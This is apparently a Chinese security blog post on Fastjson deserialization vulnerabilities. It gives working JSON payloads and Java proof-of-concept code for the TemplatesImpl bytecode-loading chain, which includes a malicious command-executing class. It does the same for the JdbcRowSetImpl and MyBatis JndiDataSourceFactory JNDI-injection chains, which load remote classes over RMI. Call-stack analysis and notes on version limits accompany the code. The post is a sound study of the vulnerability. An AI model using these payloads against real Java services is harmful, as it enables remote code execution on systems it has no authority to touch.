Fast JSON 反序列化安全

Fast JSON 反序列化安全漏洞

FastJSON 反序列化安全问题

fastjson 在序列化时,可采用 Feature.WirteClassName 来额外生成一个键值对: "@type":"ClassName"

当 fastjson 在反序列化时,在版本 \(1.27\) 之前,会自动读取该键值对并调用无参构造函数实例化该类型对象

所以攻击者可以在输入的json数据中,添加 @type 字段,值为一个服务端可访问的全限定类名,并且在json数据中设置相应的属性,可以通过其无参构造函数进行利用,从而造成某种攻击效果。

序列化时,FastJson 通过 getter(优先) 以及公有属性获取键值对;

反序列化时,如果通过 @type 键或者 Class 参数提供了类型信息,FastJson 通过 settergetter 以及公有属性(无 settergetter 时)获取并设置字段;

注意

如果即使 setter/getter 没有对应的属性,fastjson 也会认为是一个字段,其方法会被触发。可以通过 SerializerFeature.IgnoreNonFieldGetterSerializerFeature.IgnoreErrorGetter 来规避类似问题;

另外 setter/getter 命名方式很宽松,大小写、字段前加 _ 以及去除属性的开头的 _ 都可以被正确识别。

当提供 Feature.SupportNonPublicField 时,会通过反射获取字段,此时 getter 可能不会被调用;

注意:提供了 @type 键以及该 Feature.SupportNonPublicField ,但却没有提供 Class 参数,fastjson 尝试无参实例化生成该类型对象之后,会将其转化为 JSONObject,最终导致类型转换异常。

public class MyObject {
    public String getName(){
        System.out.println("getName");
        return "this is my name";
    }
    public long getID(){
        System.out.println("getID");
        return 1;
    }

    public void setName(String name){
        System.out.println("setName");
    }
}

@Test
public void getTest() {
    String json = JSON.toJSONString(new MyObject(), SerializerFeature.WriteClassName);
    System.out.println(json);
    json = "{\"@type\":\"pojo.MyObject\",\"iD\":1,\"name\":\"this is my name\"}";
    JSON.parseObject(json);
}

getID
getName
{"@type":"pojo.MyObject","iD":1,"name":"this is my name"}
setName
getID
getName

当然在反序列化时,通过 @type 键或者 Class 参数提供了类型信息时,才会通过 getter/setter 获取字段名。

TemplatesImpl

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 在一个 getter 方法调用时会动态地加载字节码,并实例化对象,因此可以利用此类实现反序列化攻击。

payload

{
    "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes":["base64 encoded class file"],
    "_name":"non.empty",
    "_tfactory":{},
    "_outputProperties":{}
}
PoC

命令执行恶意类:在实例化时执行命令。(也可以使用静态代码块,在类初始化时就开始执行)

package exploit;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class EvilExecutor extends AbstractTranslet {
    {
        try{
            Process process = Runtime.getRuntime().exec(new String[]{"firefox"};);
            process.waitFor();
            System.out.println("end");
        }catch(Exception e){
            e.printStackTrace();
        }
    }

    public EvilExecutor() throws Exception {}

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {

    }
}

演示代码:读取恶意类的编译好的字节码,经过base64编码后,构造json数据,并使用fastjson解析:

@Test
public void PoC() throws IOException {
    byte[] bytes = Files.readAllBytes(new File("target/classes/exploit/EvilExecutor.class").toPath());
    String encoded = "\""+new String(Base64.getEncoder().encode(bytes))+"\"";
    String data = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
        "\"_bytecodes\":["+encoded+"]," +
        "\"_name\":\"a.b\"," +
        "\"_tfactory\":{}," +
        "\"_outputProperties\":{}\n}";
    System.out.println(data);

    JSON.parseObject(data, Feature.SupportNonPublicField);
}

注意对于byte数组,FastJSON 序列化时会进行Base64编码;反序列化时,如果确定了该字段为 byte 数组,这会尝试Base64解码

json的键实际上就是 TemplatesImpl 的部分属性:

public final class TemplatesImpl implements Templates, Serializable {
    static final long serialVersionUID = 673094361519270707L;
    public final static String DESERIALIZE_TRANSLET = "jdk.xml.enableTemplatesImplDeserialization";
    private static String ABSTRACT_TRANSLET
        = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
    private String _name = null;
    private byte[][] _bytecodes = null;
    private Class[] _class = null;
    private int _transletIndex = -1;
    private transient Map<String, Class<?>> _auxClasses = null;
    private Properties _outputProperties;
    private int _indentNumber;
    private transient URIResolver _uriResolver = null;
    private transient ThreadLocal _sdom = new ThreadLocal();
    private transient TransformerFactoryImpl _tfactory = null;
    private transient boolean _overrideDefaultParser;
    private transient String _accessExternalStylesheet = XalanConstants.EXTERNAL_ACCESS_DEFAULT;
过程分析

调用栈

getTransletInstance:456, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
    
// 反射
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
    
// fastjson    
setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
PoC:29, PoCTest (expoit)
getOuputProperties

设置 _outputProperties 属性时,会调用 getOuputProperties 方法

image-20220321201749936

getOutputProperties 中又会实例化一个 TransformerImpl

image-20220321201730830

其中一个参数调用了 getTransletInstance 方法:

image-20220321201913607

注意如果 this._namenull,该方法会直接返回 null,所以在构造json时需要添加该键:_name

defineTransletClasses

this._classnull 时, 会进入 this.defineTransletClasses 方法,生成一个 TransletClassLoader loader

最终会遍历 this._bytes ,并调用 loader.defineClass(_bytecode[i]) 载入每一个相关类的字节码:

image-20220321202044923

当从 this._bytes 载入了对应的类之后,便尝试从该类的Class对象获取其超类类型,当类名与字符串常量 ABSTRACT_TRANSLET 相等时,则会将 this._transletIndex 设为当前的 i;否则只是将载入的Class对象存入 this._auxClasses

这也就是为什么恶意命令执行类要继承于 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,也就是 ABSTRACT_TRANSLET 的值。

读取的字节码载入的类,最终会被写到 this._class ,一个Class数组中。

该方法返回后,最终调用 this._class[_transletIndex]newInstance 方法,调用无参构造方法,生成一个新的实例:

image-20220321203254177

注意:因为 this._transletIndex 在遍历载入的字节码时发生变动,所以生成的实例类的类型为最后一个有效的载入类。

此时,无参构造方法中的代码就会被调用

局限性

由于方式涉及到私有属性的写入,只有在开启 Feature.SupportNonPublicField 的情况下才有效。

注意Feature.SupportNonPublicField\(1.2.22\) 版本被引入。

JdbcRowSetImpl

com.sun.rowset.JdbcRowSetImpl

image-20220328164238845

该方式利用 JDNI + JdbcRowImpl,所以需要JDNI注入所需条件

payload

{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"rmi://127.0.0.1:1099/exec", 
    "autoCommit":true
}
PoC
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/exec\", \"autoCommit\":true}";
JSON.parse(payload);
ExecutorFactory is constructed.
generating a new CmdExecutor...
Cmd Executor is constructed. cmd: whoami
exec.CmdExecutor ==> whoami: niss

com.alibaba.fastjson.JSONException: set property error, autoCommit
过程分析
setAutoCommit

因为json数据中包含 autoCommit:true,所以 fastjson 会调用 com.sun.rowset.JdbcRowSetImpl#setAutoCommit 方法:

由于无参构造的属性 connnull,会先调用 connect 方法生成 Connection 实例后,再去调用 con.setAutocommit

connect

image-20220328163441843

从这里可以看出,该方法通过 InitialContextlookup 方法去加载 Datasource 实例,本身InittialContext支持jndi的,所以可以通过 getDataSourceName 的返回值为参数,来通过JNDI远程获取攻击者服务器上的恶意类资源。

而这个 getDataSourceName 实际上就是返回了 JdbcRowSetImpl 的属性 Sting dataSource,所以可以通过在json中构造 dataSource: you/evil/class/location/using/jdni,以在反序列化时获取资源,并执行构造方法。

jdbcRowSetImpldataSource 以及getter\setter 继承于 BaseRowSet

由于该方法中会将返回实例转换为 DataSource,如果不希望抛出异常,需要让恶意类实现 javax.sql.DataSource 接口:

public interface DataSource  extends CommonDataSource, Wrapper {
    Connection getConnection() throws SQLException;
    Connection getConnection(String username, String password)
        throws SQLException;
}
局限性

该方法所需要的属性 autoCommitdataSource 都有 public getter\setter,反序列化时不需要 Feature.SupportNonPublicFields

但是需要依赖 JDNI,故对版本要求较高或者依靠特殊本地类绕开该限制。

第三方库

Mybatis

org.apache.ibatis.datasource.jndi.JndiDataSourceFactory 类,与 JdbcRowSetImpl 类似,也是通过 JNDI 远程加载恶意代码。

注意org.apache.ibatis.datasource 直到 \(1.2.46\) 才被入到 DENY (黑名单)。

payload

{
    "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties":{
        "data_source":"rmi://127.0.0.1:1099/exec"
    }
}
PoC
public void mybatisTest(){
    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
    System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
    String payload = "{\n" +
        "    \"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\n" +
        "    \"properties\":{\n" +
        "        \"data_source\":\"rmi://127.0.0.1:1099/exec\"\n" +
        "    }\n" +
        "}";
    System.out.println(payload);
    JSON.parse(payload);
}

源码

package org.apache.ibatis.datasource.jndi;

import java.util.Map.Entry;
import java.util.Properties;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.sql.DataSource;

import org.apache.ibatis.datasource.DataSourceException;
import org.apache.ibatis.datasource.DataSourceFactory;

public class JndiDataSourceFactory implements DataSourceFactory {

  public static final String INITIAL_CONTEXT = "initial_context";
  public static final String DATA_SOURCE = "data_source";
  public static final String ENV_PREFIX = "env.";

  private DataSource dataSource;

  @Override
  public void setProperties(Properties properties) {
    try {
      InitialContext initCtx;
      Properties env = getEnvProperties(properties);
      if (env == null) {
        initCtx = new InitialContext();
      } else {
        initCtx = new InitialContext(env);
      }

      if (properties.containsKey(INITIAL_CONTEXT) && properties.containsKey(DATA_SOURCE)) {
        Context ctx = (Context) initCtx.lookup(properties.getProperty(INITIAL_CONTEXT));
        dataSource = (DataSource) ctx.lookup(properties.getProperty(DATA_SOURCE));
      } else if (properties.containsKey(DATA_SOURCE)) {
        dataSource = (DataSource) initCtx.lookup(properties.getProperty(DATA_SOURCE));
      }

    } catch (NamingException e) {
      throw new DataSourceException("There was an error configuring JndiDataSourceTransactionPool. Cause: " + e, e);
    }
  }

  @Override
  public DataSource getDataSource() {
    return dataSource;
  }

  private static Properties getEnvProperties(Properties allProps) {
    final String PREFIX = ENV_PREFIX;
    Properties contextProperties = null;
    for (Entry<Object, Object> entry : allProps.entrySet()) {
      String key = (String) entry.getKey();
      String value = (String) entry.getValue();
      if (key.startsWith(PREFIX)) {
        if (contextProperties == null) {
          contextProperties = new Properties();
        }
        contextProperties.put(key.substring(PREFIX.length()), value);
      }
    }
    return contextProperties;
  }

}

估计当看到 DATA_SOURCE 属性、setProperties 方法以及 initCtx.lookup 就全懂了。

Peek 2022-03-27 03-35

局限性

服务端得用到 Mybatis 相关组件,包括也受到JNDI利用限制。但好处是直到 \(1.2.46\) 版本才被加入黑名单。


参考

posted @ 2020-04-06 20:50  NIShoushun  阅读(781)  评论(0编辑  收藏  举报